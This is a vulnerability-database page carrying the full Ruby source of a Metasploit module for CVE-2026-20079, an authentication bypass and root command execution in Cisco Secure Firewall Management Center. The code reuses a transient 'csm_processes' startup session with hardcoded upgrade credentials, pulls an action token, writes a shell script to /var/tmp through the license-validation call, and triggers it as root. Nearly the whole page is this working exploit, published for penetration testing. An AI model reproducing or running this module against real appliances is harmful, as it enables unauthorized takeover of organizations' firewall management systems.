Lucene search
+L

Cisco Secure Firewall Management Center Authentication Bypass RCE

🗓️ 04 Mar 2026 00:00:00Reported by Brandon Sakai, Cale Black, Arian EidizadehType 
metasploit
 metasploit
🔗 www.rapid7.com👁 7 Views

Auth bypass RCE in Cisco Secure FMC via csm_processes startup session.

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  STATIC_SESSION = 'csm_processes'
  SESSION_UPGRADE_USERNAME = 'report'
  SESSION_UPGRADE_PASSWORD = 'snortrules'
  TEMPORARY_SCRIPT = '/var/tmp/license.tmp'
  MAX_FINGERPRINT_BYTES = 512 * 1024
  ACTION_ID_REGEX = /var\s+sf_action_id\s*=\s*["']([0-9a-fA-F]{32})["']/
  FMC_DEVICE_LABEL_REGEX = /"deviceLabel"\s*:\s*"Management Center"/
  FMC_ABOUT_MARKERS = ['Cisco Secure Firewall Management Center', 'Model', 'OS', 'Hostname'].freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco Secure Firewall Management Center Authentication Bypass RCE',
        'Description' => %q{
          This module exploits CVE-2026-20079, an authentication bypass in the
          web interface of Cisco Secure Firewall Management Center (FMC). It
          upgrades a boot-created machine session, obtains its session-specific
          action token, writes a Makeself-compatible shell script, and executes
          the selected command payload as root.

          Exploitation requires the transient csm_processes startup session to
          still exist. Normal authenticated activity or session cleanup may
          remove that session, so an affected appliance may not be exploitable
          at the time of testing. The underlying request sequence and
          FIFO/netcat payload were tested against Cisco Secure FMC 10.0.1-1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Brandon Sakai', # (Cisco) - vulnerability discovery
          'Cale Black', # (VulnCheck) - exploit-chain research
          'Arian Eidizadeh' # (CyberAuth) - independent PoC reproduction and Metasploit module
        ],
        'References' => [
          ['CVE', '2026-20079'],
          ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2'],
          ['URL', 'https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079'],
          ['URL', 'https://github.com/CyberAuth/CVE-2026-20079'],
          ['URL', 'https://banks.tools/writeups/cve-2026-20079-cisco-secure-fmc']
        ],
        'DisclosureDate' => '2026-03-04',
        'Privileged' => true,
        'Platform' => ['unix', 'linux'],
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'ShellPath' => '/bin/sh -i'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    root_response = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => '/'
      }
    )
    return CheckCode::Unknown('The target did not respond to the root request') unless root_response

    if fmc_detected?(root_response.body)
      fingerprint_source = 'root response'
    else
      location = root_response.headers['Location']
      unless root_response.redirect? && location && !location.empty?
        return CheckCode::Unknown('The root response did not reliably identify Cisco Secure FMC')
      end

      login_uri = validated_login_redirect(location)
      return CheckCode::Unknown('The root response redirected to an unexpected or unsafe location') unless login_uri

      login_response = send_request_cgi(
        {
          'method' => 'GET',
          'uri' => login_uri
        }
      )
      return CheckCode::Unknown('The same-origin Cisco Secure FMC login path did not respond') unless login_response

      unless login_response.code.between?(200, 299)
        return CheckCode::Unknown("The same-origin Cisco Secure FMC login path returned HTTP #{login_response.code}")
      end

      unless fmc_detected?(login_response.body)
        return CheckCode::Unknown(
          'The same-origin /ui/login path did not contain reliable Cisco Secure FMC product markers'
        )
      end

      fingerprint_source = 'same-origin /ui/login response'
    end

    check_authentication_bypass(fingerprint_source)
  rescue ::URI::Error => e
    CheckCode::Unknown("The login redirect could not be parsed: #{e.message}")
  end

  def exploit
    print_status("Upgrading the boot-created #{STATIC_SESSION} session")
    upgrade_session

    print_status('Retrieving the session-specific sf_action_id')
    action_id = extract_action_id
    print_good("Obtained a valid session-specific sf_action_id: #{action_id}")

    execute_command(payload.encoded, action_id)
  end

  def fmc_detected?(body)
    body = bounded_response_body(body)

    body.include?('/img/cisco-icon.svg') && body.match?(FMC_DEVICE_LABEL_REGEX)
  end

  def check_authentication_bypass(fingerprint_source)
    control_response = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => '/help/about.cgi'
      }
    )

    unless control_response
      return CheckCode::Detected(
        "Cisco Secure FMC markers were found in the #{fingerprint_source}, " \
        'but the unauthenticated about-page control did not respond'
      )
    end

    unless control_response.code == 302 && bounded_response_body(control_response.body).include?('Invalid session ID')
      return CheckCode::Detected(
        "Cisco Secure FMC markers were found in the #{fingerprint_source}, " \
        'but the unauthenticated about-page control did not match'
      )
    end

    session_response = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => '/help/about.cgi',
        'cookie' => session_cookie
      }
    )

    unless session_response
      return CheckCode::Detected(
        'Cisco Secure FMC was identified, but the transient csm_processes session did not respond'
      )
    end

    if protected_fmc_response?(session_response)
      CheckCode::Appears(
        'Cisco Secure FMC rejected the unauthenticated about-page request but accepted csm_processes and returned ' \
        'protected about-page markers; command execution was not tested'
      )
    else
      CheckCode::Detected(
        'Cisco Secure FMC was identified, but csm_processes did not return the expected protected content; ' \
        'the transient session may be unavailable or in a different state'
      )
    end
  end

  def protected_fmc_response?(response)
    return false unless response.code == 200
    return false unless response.headers['Content-Type'].to_s.downcase.include?('text/html')

    body = bounded_response_body(response.body)
    FMC_ABOUT_MARKERS.all? { |marker| body.include?(marker) }
  end

  def bounded_response_body(body)
    body.to_s.byteslice(0, MAX_FINGERPRINT_BYTES).to_s
  end

  def validated_login_redirect(location)
    original = ::URI.parse(full_uri('/', vhost_uri: true))
    redirected = ::URI.join(original.to_s, location)

    return nil if redirected.user || redirected.password || redirected.query || redirected.fragment
    return nil unless redirected.path == '/ui/login'
    return nil unless same_origin?(original, redirected)

    redirected.request_uri
  end

  def same_origin?(first_uri, second_uri)
    first_uri.scheme.to_s.casecmp?(second_uri.scheme.to_s) &&
      first_uri.host.to_s.casecmp?(second_uri.host.to_s) &&
      first_uri.port == second_uri.port
  end

  def target_origin
    full_uri('/', vhost_uri: true).delete_suffix('/')
  end

  def session_cookie
    "CGISESSID=#{STATIC_SESSION}"
  end

  def upgrade_session
    response = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => '/login.cgi',
        'vars_get' => { 'logon' => 'Continue' },
        'vars_post' => {
          'username' => SESSION_UPGRADE_USERNAME,
          'password' => SESSION_UPGRADE_PASSWORD,
          'target' => ''
        },
        'cookie' => session_cookie,
        'headers' => {
          'Origin' => target_origin,
          'Referer' => "#{target_origin}/"
        }
      }
    )

    fail_with(Failure::Unreachable, 'The target did not respond to the session-upgrade request') unless response
    return if response.code == 302

    failure_message = "Expected HTTP 302 from the session upgrade, but received HTTP #{response.code}. " \
                      'The required startup session may no longer exist, the target may be patched, ' \
                      'or the target may not be in the expected vulnerable state.'
    fail_with(Failure::NotVulnerable, failure_message)
  end

  def extract_action_id
    response = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => '/ui/user/general',
        'cookie' => session_cookie
      }
    )

    fail_with(Failure::Unreachable, 'The target did not respond while retrieving sf_action_id') unless response
    unless response.code == 200
      failure_message = "The authenticated page returned HTTP #{response.code}; " \
                        'the authentication bypass was not confirmed'
      fail_with(Failure::NoAccess, failure_message)
    end

    match = response.body.to_s.match(ACTION_ID_REGEX)
    unless match
      failure_message = 'The authenticated page did not expose a valid sf_action_id; ' \
                        'the authentication bypass was not confirmed'
      fail_with(Failure::NoAccess, failure_message)
    end

    action_id = match[1].downcase
    if action_id == ('0' * 32)
      failure_message = 'The authenticated page returned the all-zero sf_action_id placeholder; ' \
                        'the authentication bypass was not confirmed'
      fail_with(Failure::NoAccess, failure_message)
    end

    action_id
  end

  def build_makeself_script(command)
    cleanup_command = "rm -f #{TEMPORARY_SCRIPT}"

    [
      '#!/bin/sh',
      '# This script was generated using Makeself',
      '',
      cleanup_command,
      "trap '#{cleanup_command}' 0",
      "trap '#{cleanup_command};exit 1' HUP INT TERM",
      command,
      cleanup_command,
      ''
    ].join("\n")
  end

  def unicode_newline_json(value)
    value.to_json.gsub(/\\+n/) do |escape_sequence|
      slash_count = escape_sequence.length - 1
      next escape_sequence if slash_count.even?

      ('\\' * (slash_count - 1)) + '\\u000A'
    end
  end

  def write_payload(action_id, script)
    request_body = unicode_newline_json([action_id, 'validateLicense', script])

    response = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => '/sajaxintf.cgi',
        'vars_get' => {
          'rs' => 'callServerFunc',
          'rstime' => (Time.now.to_f * 1000).to_i
        },
        'ctype' => 'application/json',
        'data' => request_body,
        'cookie' => session_cookie,
        'headers' => {
          'Origin' => target_origin,
          'Referer' => "#{target_origin}/platinum/IDSRuleList.cgi"
        }
      }
    )

    unless response
      failure_message = 'The target did not return the expected file-write response. Refusing to trigger execution; ' \
                        "#{TEMPORARY_SCRIPT} may require authorized manual review."
      fail_with(Failure::Unreachable, failure_message)
    end

    unless response.code == 200 && response.body.to_s.include?('License is Invalid')
      failure_message = 'The validateLicense response did not confirm the expected file-write behavior. ' \
                        "Refusing to trigger execution; #{TEMPORARY_SCRIPT} may require authorized manual review."
      fail_with(Failure::UnexpectedReply, failure_message)
    end

    print_good('The target returned the expected validateLicense file-write response')
  end

  def trigger_payload(action_id)
    parameters = [TEMPORARY_SCRIPT, [Faker::Internet.uuid]].to_json

    response = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => '/pjb.cgi',
        'vars_post' => {
          'function' => 'SF::UI::DataObjectLibrary::upgradeReadinessCall',
          'parameters' => parameters,
          'get_all_errors' => '1',
          'sf_action_id' => action_id,
          'ss' => ''
        },
        'cookie' => session_cookie,
        'headers' => {
          'Origin' => target_origin
        }
      }
    )

    unless response
      print_warning(
        "Cleanup of #{TEMPORARY_SCRIPT} is unverified because the trigger did not return; " \
        'the file may require authorized manual removal.'
      )
      print_warning(
        'The trigger request timed out or the connection closed after submission. ' \
        'This can be expected; only a new Metasploit session confirms command execution.'
      )
      return
    end

    unless response.code == 200
      print_warning(
        "Cleanup of #{TEMPORARY_SCRIPT} is unverified because the trigger returned an unexpected response; " \
        'the file may require authorized manual removal.'
      )
      failure_message = "The trigger returned HTTP #{response.code} instead of the expected HTTP 200; " \
                        'no command execution was confirmed'
      fail_with(Failure::UnexpectedReply, failure_message)
    end

    print_status(
      'The trigger returned HTTP 200; waiting for the payload handler because HTTP success alone does not prove command execution'
    )
  end

  def execute_command(command, action_id)
    script = build_makeself_script(command)

    print_status("Writing the Makeself-compatible payload to #{TEMPORARY_SCRIPT}")
    write_payload(action_id, script)
    register_file_for_cleanup(TEMPORARY_SCRIPT)

    print_status('Triggering the payload through upgradeReadinessCall')
    trigger_payload(action_id)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation